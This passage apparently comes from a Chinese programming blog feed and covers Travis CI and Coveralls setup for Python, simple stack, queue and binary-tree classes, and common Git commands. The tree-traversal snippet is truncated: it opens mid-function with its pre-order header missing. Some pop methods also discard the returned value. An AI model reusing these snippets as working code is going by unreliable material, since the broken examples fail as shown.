<span class="pi">-</span> <span class="s2">"</span><span class="s">3.5"</span>
<span class="pi">-</span> <span class="s2">"</span><span class="s">3.6"</span>
<span class="pi">-</span> <span class="s2">"</span><span class="s">nightly"</span>
<span class="na">install</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">travis_retry bash test/travis_setup.sh</span>
<span class="na">script</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">python -m coverage run --source=. test/testall.py fast</span>
<span class="pi">-</span> <span class="s">python -m coverage combine</span>
<span class="pi">-</span> <span class="s">python -m coverage report 2>&1</span>
<span class="na">notifications</span><span class="pi">:</span>
<span class="na">irc</span><span class="pi">:</span> <span class="s2">"</span><span class="s">irc.freenode.org#bottlepy"</span>
<span class="na">on_success</span><span class="pi">:</span> <span class="s2">"</span><span class="s">never"</span>
<span class="na">after_success</span><span class="pi">:</span>
<span class="s">coveralls</span>
</code></pre></div></div>
<h2 id="1-什么是-travis-和-coveralls">1. 什么是 Travis 和 Coveralls</h2>
<p>Github 项目经常会看到类似 <img src="https://travis-ci.org/bottlepy/bottle.svg?branch=master" alt="" /> <img src="https://coveralls.io/repos/github/bottlepy/bottle/badge.svg?branch=master" alt="" /> 图标, 分别对应了 Travis 和 Coveralls.</p>
<p>Travis-CI是一个开源的持续构建项目,同步你在GitHub上托管的项目,每当你Commit Push之后, 就会在几分钟内开始按照你的要求测试部署你的项目, 并跑一遍测试用例.</p>
<p>Coveralls 是用来显示项目代码覆盖率的.</p>
<!--more-->
<h2 id="2-python-项目测试工程配置">2. Python 项目测试工程配置</h2>
<p>每次初始化一个新项目, 优先构建好测试配置, 是个非常好的习惯.</p>
<p>比如新建一个项目, 取名 <strong>six</strong>, 目录结构大致如下, 新建了 <code>test</code> <code>test/testcase</code> 两个目录.</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└── six
├── __pycache__
│ └── six.cpython-35.pyc
├── six.py
└── <span class="nb">test</span>
├── __pycache__
├── test_all.py
├── testcase
├── __pycache__
└── test_demo.py
</code></pre></div></div>
<p>新建 <code>test_all.py</code> 文件夹, 用来执行所有的测试用例, 需要获取项目覆盖率, 依赖 coverage, 使用</p>
<p><code class="language-plaintext highlighter-rouge">pip install -U coverage</code> 进行安装. 文件内容如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python
# -*- coding: utf-8 -*-
</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">unittest</span>
<span class="c1"># Add test directory to sys.path
</span><span class="n">sys</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">abspath</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">dirname</span><span class="p">(</span><span class="n">__file__</span><span class="p">),</span> <span class="s">'..'</span><span class="p">)))</span>
<span class="k">try</span><span class="p">:</span>
<span class="kn">import</span> <span class="nn">coverage</span>
<span class="n">coverage</span><span class="p">.</span><span class="n">process_startup</span><span class="p">()</span>
<span class="k">except</span> <span class="nb">ImportError</span><span class="p">:</span>
<span class="k">pass</span>
<span class="k">def</span> <span class="nf">generatte_test_suit</span><span class="p">():</span>
<span class="s">'''
Add testcases into test suite
:return:
'''</span>
<span class="n">current_pwd</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">dirname</span><span class="p">(</span><span class="n">__file__</span><span class="p">)</span>
<span class="n">testcase_directory</span> <span class="o">=</span> <span class="n">current_pwd</span> <span class="o">+</span> <span class="n">os</span><span class="p">.</span><span class="n">sep</span> <span class="o">+</span> <span class="s">'testcase'</span>
<span class="k">return</span> <span class="n">unittest</span><span class="p">.</span><span class="n">defaultTestLoader</span><span class="p">.</span><span class="n">discover</span><span class="p">(</span><span class="n">testcase_directory</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">suite</span> <span class="o">=</span> <span class="n">generatte_test_suit</span><span class="p">()</span>
<span class="n">unittest</span><span class="p">.</span><span class="n">TextTestRunner</span><span class="p">().</span><span class="n">run</span><span class="p">(</span><span class="n">suite</span><span class="p">)</span>
</code></pre></div></div>
<p>上面代码逻辑大概是定位到 <code>testcase</code> 目录, <code class="language-plaintext highlighter-rouge">unittest.defaultTestLoader.discover</code> 找到并加装所有 <code class="language-plaintext highlighter-rouge">test*.py</code> 的文件, 最后调用 <code class="language-plaintext highlighter-rouge">unittest.TextTestRunner().run</code> 方法执行.</p>
<p><code class="language-plaintext highlighter-rouge">sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))</code></p>
<p>这句话非常重要, 将 <code class="language-plaintext highlighter-rouge">test_all.py</code> 文件的上一级目录加载到 <code class="language-plaintext highlighter-rouge">sys.path</code> 中, 不然会报类找不到的.</p>
<p><strong>在项目根目录, 执行下面命令, 将用例跑一遍:</strong></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">python</span> <span class="o">-</span><span class="n">m</span> <span class="n">coverage</span> <span class="n">run</span> <span class="n">test</span><span class="o">/</span><span class="n">test_all</span><span class="p">.</span><span class="n">py</span>
<span class="c1"># 结果
</span><span class="p">.</span>
<span class="o">----------------------------------------------------------------------</span>
<span class="n">Ran</span> <span class="mi">1</span> <span class="n">test</span> <span class="ow">in</span> <span class="mf">0.000</span><span class="n">s</span>
</code></pre></div></div>
<p><strong>查看测试覆盖率, 执行下面命令</strong></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">python</span> <span class="o">-</span><span class="n">m</span> <span class="n">coverage</span> <span class="n">report</span> <span class="o">-</span><span class="n">m</span>
<span class="c1"># 结果
</span><span class="n">Name</span> <span class="n">Stmts</span> <span class="n">Miss</span> <span class="n">Cover</span> <span class="n">Missing</span>
<span class="o">----------------------------------------------------------</span>
<span class="n">six</span><span class="p">.</span><span class="n">py</span> <span class="mi">4</span> <span class="mi">0</span> <span class="mi">100</span><span class="o">%</span>
<span class="n">test</span><span class="o">/</span><span class="n">test_all</span><span class="p">.</span><span class="n">py</span> <span class="mi">16</span> <span class="mi">2</span> <span class="mi">88</span><span class="o">%</span> <span class="mi">15</span><span class="o">-</span><span class="mi">16</span>
<span class="n">test</span><span class="o">/</span><span class="n">testcase</span><span class="o">/</span><span class="n">test_demo</span><span class="p">.</span><span class="n">py</span> <span class="mi">6</span> <span class="mi">0</span> <span class="mi">100</span><span class="o">%</span>
<span class="o">----------------------------------------------------------</span>
<span class="n">TOTAL</span> <span class="mi">26</span> <span class="mi">2</span> <span class="mi">92</span><span class="o">%</span>
</code></pre></div></div>
<h2 id="3-travis-配置">3. Travis 配置</h2>
<p>有了第二部分的操作, 就可以配置 <code class="language-plaintext highlighter-rouge">.travis.yml</code> 了</p>
<h3 id="31-travis-设置">3.1 Travis 设置</h3>
<p>访问 <a href="https://travis-ci.org/">https://travis-ci.org/</a>, 使用 Github 账号授权登录, 将需要持续集成的仓库状态打开.</p>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/ZwabjnvEcWALXlRRYMud.png" alt="" /></p>
<h3 id="32-项目-travisyml-配置">3.2 项目 .travis.yml 配置</h3>
<p>针对不同编程语言, travis 官网文档提供了不同的配置 demo</p>
<p><a href="https://docs.travis-ci.com/user/language-specific/">https://docs.travis-ci.com/user/language-specific/</a></p>
<p>Python 项目的配置如下:</p>
<div class="language-yml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">language</span><span class="pi">:</span> <span class="s">python</span>
<span class="na">python</span><span class="pi">:</span>
<span class="pi">-</span> <span class="m">3.6</span>
<span class="pi">-</span> <span class="s">nightly</span>
<span class="na">install</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">sh ./test/travis_config/travis_setup.sh</span>
<span class="na">script</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">sh ./test/travis_config/travis_run.sh</span>
<span class="na">after_success</span><span class="pi">:</span>
<span class="s">coveralls</span>
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">python</code> 对应的需要回归的 Python 版本, <code class="language-plaintext highlighter-rouge">install</code> 是准备脚本, 一般执行一些安装命令, <code class="language-plaintext highlighter-rouge">script</code> 就是执行脚本, 可以不需要写到 shell 脚本中, 直接写到配置文件中.</p>
<p><code class="language-plaintext highlighter-rouge">travis_setup.sh</code> 文件内容:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/usr/bin/env bash</span>
<span class="c"># Just to be sure</span>
pip <span class="nb">install</span> <span class="nt">-U</span> pip
<span class="c"># pip is not able to install distribute: "ImportError: No module named _markerlib"</span>
easy_install distribute
pip <span class="nb">install</span> <span class="nt">-U</span> coverage
pip <span class="nb">install </span>coveralls
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">travis_run.sh</code> 文件内容:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/usr/bin/env bash</span>
python <span class="nt">-m</span> coverage run <span class="nb">test</span>/test_all.py
python <span class="nt">-m</span> coverage combine
python <span class="nt">-m</span> coverage report <span class="nt">-m</span> 2>&1
</code></pre></div></div>
<p>上述配置可以在项目<a href="https://github.com/fish267/six-web">https://github.com/fish267/six-web</a> 中查看.</p>
<p>提交代码后, 过一会儿就能收到持续集成的邮件, 也可以访问 <a href="https://travis-ci.org/fish267/six">https://travis-ci.org/fish267/six</a> 查看构建历史.</p>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/dOCZhsYQBEnwhUBCWGLg.png" alt="" /></p>
<h2 id="4-coveralls-配置">4. Coveralls 配置</h2>
<p>通上配置, 在官网 <a href="https://coveralls.io">https://coveralls.io</a> 使用 Github 账号授权登录, 打开 Repo 的开关.</p>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/EeMwqQaCgnbADoXkULem.png" alt="" /></p>
<h3 id="41-travisyml-配置">4.1 .travis.yml 配置</h3>
<p>在 <code class="language-plaintext highlighter-rouge">.travis.yml</code> 文件添加如下配置, 就能直接看到覆盖率的条条了. 如 <a href="https://coveralls.io/github/fish267/six">https://coveralls.io/github/fish267/six</a></p>
<div class="language-yml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">after_success</span><span class="pi">:</span>
<span class="s">coveralls</span>
</code></pre></div></div>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/seMPIwqRQdEVVyCocXxe.png" alt="" /></p>
<h2 id="参考资料">参考资料</h2>
<ol>
<li><a href="https://docs.travis-ci.com/">https://docs.travis-ci.com/</a></li>
<li><a href="http://docs.coveralls.io">http://docs.coveralls.io/</a></li>
<li><a href="https://coverage.readthedocs.io/en/coverage-4.4.1/">https://coverage.readthedocs.io/en/coverage-4.4.1/</a></li>
<li><a href="http://moelove.info/2015/10/26/%E7%94%A8%E6%AD%A3%E7%A1%AE%E7%9A%84%E5%A7%BF%E5%8A%BF%E5%BC%80%E6%BA%90Python%E9%A1%B9%E7%9B%AE/">用正确的姿势开源Python项目</a></li>
<li><a href="https://github.com/nukc/how-to-use-travis-ci">如何简单入门使用Travis-CI持续集成</a></li>
</ol>
数据结构--Python
2017-06-23T00:00:00+00:00
http://fish267.github.io/2017/06/23/python-alogrithm
<h2 id="python-数据结构笔记">Python 数据结构笔记</h2>
<h2 id="1-stack">1. STACK</h2>
<h3 id="11-栈的定义">1.1 栈的定义</h3>
<p>栈: <a href="https://zh.wikipedia.org/wiki/%E5%A0%86%E6%A0%88">官方定义</a>, 一种特殊的串行数据结构, 只允许在一端进行加入数据与取出数据操作.</p>
<h3 id="12-栈的例子">1.2 栈的例子</h3>
<p>两个例子:</p>
<ul>
<li>桌面上的一摞书</li>
</ul>
<p><img src="https://zos.alipayobjects.com/rmsportal/zlZfGfcqzaYwkNNDATrj.png" alt="" /></p>
<ul>
<li>浏览器后退按钮</li>
</ul>
<p>浏览器有个后退按钮, 每次点击, 跳转到最靠近当前页的 URL. (实际上, 进行的是 URLS 出栈操作).</p>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/oENDrmlXtdrDNQIDVHEf.png" alt="image" /></p>
<!--more-->
<h3 id="13-栈的实现">1.3 栈的实现</h3>
<p>栈遵循的是规则被称为 <code>LIFO, last-in first-out</code>, 具体的操作比较简单, 使用 Python List 强大的功能实现如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">Stack</span><span class="p">:</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">items</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">def</span> <span class="nf">push</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">item</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">items</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">item</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">pop</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">items</span><span class="p">.</span><span class="n">pop</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">get_peek</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">items</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">get_size</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">items</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">is_empty</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="mi">0</span> <span class="o">==</span> <span class="bp">self</span><span class="p">.</span><span class="n">get_size</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">display</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">items</span><span class="p">)</span>
</code></pre></div></div>
<h3 id="14-栈的应用">1.4 栈的应用</h3>
<h4 id="141-校验四则运算表达式">1.4.1 校验四则运算表达式</h4>
<p>计算机进行四则运算, 会先验证式子的格式正不正确, 下面对括弧判断一下:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">{[()]}()</span> <span class="nt">--</span><span class="o">></span> True
<span class="o">[](}</span> <span class="nt">--</span><span class="o">></span> False
</code></pre></div></div>
<p>处理思路非常清晰, 存入左括号, 如果新增的右括号刚好凑对, 就消掉, 和玩<strong>连连看</strong>一个原理.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">def</span> <span class="nf">is_right_bracelet_format</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
<span class="n">stack</span> <span class="o">=</span> <span class="n">Stack</span><span class="p">()</span>
<span class="k">for</span> <span class="n">element</span> <span class="ow">in</span> <span class="n">s</span><span class="p">:</span>
<span class="k">if</span> <span class="n">element</span> <span class="ow">in</span> <span class="s">'{[('</span><span class="p">:</span>
<span class="n">stack</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">element</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">if</span> <span class="n">stack</span><span class="p">.</span><span class="n">is_empty</span><span class="p">()</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">bracelet_type_match</span><span class="p">(</span><span class="n">stack</span><span class="p">.</span><span class="n">get_peek</span><span class="p">(),</span> <span class="n">element</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="n">stack</span><span class="p">.</span><span class="n">pop</span><span class="p">()</span>
<span class="k">return</span> <span class="n">stack</span><span class="p">.</span><span class="n">is_empty</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">bracelet_type_match</span><span class="p">(</span><span class="n">left_type</span><span class="p">,</span> <span class="n">right_type</span><span class="p">):</span>
<span class="n">left_type_list</span> <span class="o">=</span> <span class="p">[</span><span class="s">'('</span><span class="p">,</span> <span class="s">'['</span><span class="p">,</span> <span class="s">'{'</span><span class="p">]</span>
<span class="n">right_type_list</span> <span class="o">=</span> <span class="p">[</span><span class="s">')'</span><span class="p">,</span> <span class="s">']'</span><span class="p">,</span> <span class="s">'}'</span><span class="p">]</span>
<span class="k">return</span> <span class="n">left_type_list</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">left_type</span><span class="p">)</span> <span class="o">==</span> <span class="n">right_type_list</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">right_type</span><span class="p">)</span>
</code></pre></div></div>
<h4 id="142-进制转换">1.4.2 进制转换</h4>
<h1 id="2-queue">2. Queue</h1>
<p>类比与栈, 队列遵循的是规则被称为 <code>FIFO, first-in first-out</code>. 有个通俗的说法描述如下, 啊哈哈哈.</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>吃了吐是栈, 吃了拉是队列
</code></pre></div></div>
<h2 id="21-队列的实现">2.1 队列的实现</h2>
<p>队列分为分为普通队列和双端队列, 普通队列包括 <strong>队尾入队</strong> 和 <strong>队头出队</strong>, 双端队列两头都能进行 <strong>入队/出队</strong>.</p>
<p>普通队列实现, 按照从左到右的顺序, 左边是队尾.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">Queue</span><span class="p">:</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">items</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">def</span> <span class="nf">enqueue</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">item</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">items</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">item</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">dequeue</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">items</span><span class="p">.</span><span class="n">pop</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">get_size</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">items</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">is_empty</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">get_size</span><span class="p">()</span> <span class="o">==</span> <span class="mi">0</span>
<span class="k">def</span> <span class="nf">display</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">items</span><span class="p">)</span>
</code></pre></div></div>
<p>双端队列, 多了个方法:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">class</span> <span class="nc">Deque</span><span class="p">:</span>
<span class="s">'''
队列从左到右, 右边是队头
'''</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">items</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">def</span> <span class="nf">add_rear</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">item</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">items</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">item</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">remove_rear</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">items</span><span class="p">.</span><span class="n">pop</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">add_front</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">item</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">items</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">item</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">remove_front</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">items</span><span class="p">.</span><span class="n">pop</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">get_size</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">items</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">is_empty</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">get_size</span><span class="p">()</span> <span class="o">==</span> <span class="mi">0</span>
<span class="k">def</span> <span class="nf">display</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">items</span><span class="p">)</span>
</code></pre></div></div>
<h1 id="3-tree">3. TREE</h1>
<p>二叉树: Binary tree, 是每个节点最多只有两个分支的树结构.</p>
<h2 id="31-二叉树实现">3.1 二叉树实现</h2>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">class</span> <span class="nc">BinaryTree</span><span class="p">:</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">root_object</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">key</span> <span class="o">=</span> <span class="n">root_object</span>
<span class="bp">self</span><span class="p">.</span><span class="n">left_child</span> <span class="o">=</span> <span class="bp">None</span>
<span class="bp">self</span><span class="p">.</span><span class="n">right_child</span> <span class="o">=</span> <span class="bp">None</span>
<span class="k">def</span> <span class="nf">insert_left</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">node</span><span class="p">):</span>
<span class="k">if</span> <span class="bp">self</span><span class="p">.</span><span class="n">left_child</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">left_child</span> <span class="o">=</span> <span class="n">BinaryTree</span><span class="p">(</span><span class="n">node</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">tmp_node</span> <span class="o">=</span> <span class="n">BinaryTree</span><span class="p">(</span><span class="n">node</span><span class="p">)</span>
<span class="n">tmp_node</span><span class="p">.</span><span class="n">left_child</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">left_child</span>
<span class="bp">self</span><span class="p">.</span><span class="n">left_child</span> <span class="o">=</span> <span class="n">tmp_node</span>
<span class="k">def</span> <span class="nf">insert_right</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">node</span><span class="p">):</span>
<span class="n">tmp_node</span> <span class="o">=</span> <span class="n">BinaryTree</span><span class="p">(</span><span class="n">node</span><span class="p">)</span>
<span class="k">if</span> <span class="bp">self</span><span class="p">.</span><span class="n">right_child</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">right_child</span> <span class="o">=</span> <span class="n">tmp_node</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">tmp_node</span><span class="p">.</span><span class="n">right_child</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">right_child</span>
<span class="bp">self</span><span class="p">.</span><span class="n">right_child</span> <span class="o">=</span> <span class="n">tmp_node</span>
<span class="k">def</span> <span class="nf">get_left_child</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">left_child</span>
<span class="k">def</span> <span class="nf">get_right_child</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">right_child</span>
<span class="k">def</span> <span class="nf">get_root</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">key</span>
</code></pre></div></div>
<h3 id="二叉树的遍历">二叉树的遍历</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ft_child</span><span class="p">():</span>
<span class="n">pre_order_display</span><span class="p">(</span><span class="n">tree</span><span class="p">.</span><span class="n">get_left_child</span><span class="p">())</span>
<span class="k">if</span> <span class="n">tree</span><span class="p">.</span><span class="n">get_right_child</span><span class="p">():</span>
<span class="n">pre_order_display</span><span class="p">(</span><span class="n">tree</span><span class="p">.</span><span class="n">get_right_child</span><span class="p">())</span>
<span class="c1"># 中序遍历
</span><span class="k">def</span> <span class="nf">in_order_display</span><span class="p">(</span><span class="n">tree</span><span class="p">):</span>
<span class="k">if</span> <span class="ow">not</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">tree</span><span class="p">,</span> <span class="n">BinaryTree</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="k">if</span> <span class="n">tree</span><span class="p">.</span><span class="n">get_left_child</span><span class="p">():</span>
<span class="n">in_order_display</span><span class="p">(</span><span class="n">tree</span><span class="p">.</span><span class="n">get_left_child</span><span class="p">())</span>
<span class="k">print</span><span class="p">(</span><span class="n">tree</span><span class="p">.</span><span class="n">key</span><span class="p">)</span>
<span class="k">if</span> <span class="n">tree</span><span class="p">.</span><span class="n">get_right_child</span><span class="p">():</span>
<span class="n">in_order_display</span><span class="p">(</span><span class="n">tree</span><span class="p">.</span><span class="n">get_right_child</span><span class="p">())</span>
<span class="c1"># 后序遍历
</span><span class="k">def</span> <span class="nf">post_order_display</span><span class="p">(</span><span class="n">tree</span><span class="p">):</span>
<span class="k">if</span> <span class="ow">not</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">tree</span><span class="p">,</span> <span class="n">BinaryTree</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="k">if</span> <span class="n">tree</span><span class="p">.</span><span class="n">get_left_child</span><span class="p">():</span>
<span class="n">post_order_display</span><span class="p">(</span><span class="n">tree</span><span class="p">.</span><span class="n">get_left_child</span><span class="p">())</span>
<span class="k">if</span> <span class="n">tree</span><span class="p">.</span><span class="n">get_right_child</span><span class="p">():</span>
<span class="n">post_order_display</span><span class="p">(</span><span class="n">tree</span><span class="p">.</span><span class="n">get_right_child</span><span class="p">())</span>
<span class="k">print</span><span class="p">(</span><span class="n">tree</span><span class="p">.</span><span class="n">key</span><span class="p">)</span>
<span class="c1"># 翻转
</span>
<span class="k">def</span> <span class="nf">invert_binary_tree</span><span class="p">(</span><span class="n">tree</span><span class="p">):</span>
<span class="n">tree</span><span class="p">.</span><span class="n">left_child</span><span class="p">,</span> <span class="n">tree</span><span class="p">.</span><span class="n">right_child</span> <span class="o">=</span> <span class="n">tree</span><span class="p">.</span><span class="n">right_child</span><span class="p">,</span> <span class="n">tree</span><span class="p">.</span><span class="n">left_child</span>
<span class="k">if</span> <span class="n">tree</span><span class="p">.</span><span class="n">get_left_child</span><span class="p">()</span> <span class="o">!=</span> <span class="bp">None</span><span class="p">:</span>
<span class="n">invert_binary_tree</span><span class="p">(</span><span class="n">tree</span><span class="p">.</span><span class="n">get_left_child</span><span class="p">())</span>
<span class="k">if</span> <span class="n">tree</span><span class="p">.</span><span class="n">get_right_child</span><span class="p">()</span> <span class="o">!=</span> <span class="bp">None</span><span class="p">:</span>
<span class="n">invert_binary_tree</span><span class="p">(</span><span class="n">tree</span><span class="p">.</span><span class="n">get_right_child</span><span class="p">())</span>
</code></pre></div></div>
<p>@TODO</p>
Git 常用命令整理
2017-06-22T00:00:00+00:00
http://fish267.github.io/2017/06/22/git-cmd
<h2 id="git-诞生">Git 诞生</h2>
<p>BitMover 禁止 Linux 社区免费使用, 于是 Linus 花了两周时间自己用C写了一个分布式版本控制系统.</p>
<p>Git 账户的初始化可以查看文章 <a href="http://love67.net/2014/07/20/git-init">Github 账户本地初始化</a>. 下面是 <code>git</code> 命令的整理:</p>
<h1 id="git-常用命令">Git 常用命令</h1>
<h3 id="1-初始化">1. 初始化</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># 本地目录初始化
</span><span class="n">git</span> <span class="n">init</span>
<span class="c1"># 远程下载
</span><span class="n">git</span> <span class="n">clone</span> <span class="o"><</span><span class="n">repo_url</span><span class="o">></span>
</code></pre></div></div>
<!--more-->
<h3 id="2-增删改">2. 增删改</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># 添加文件
</span><span class="n">git</span> <span class="n">add</span> <span class="nb">file</span>
<span class="c1"># 添加文件夹
</span><span class="n">git</span> <span class="n">add</span> <span class="o"><</span><span class="nb">dir</span><span class="o">></span>
<span class="c1"># 删除文件
</span><span class="n">git</span> <span class="n">rm</span> <span class="nb">file</span>
<span class="c1"># 添加当前目录(不推荐)
</span><span class="n">git</span> <span class="n">add</span> <span class="p">.</span>
</code></pre></div></div>
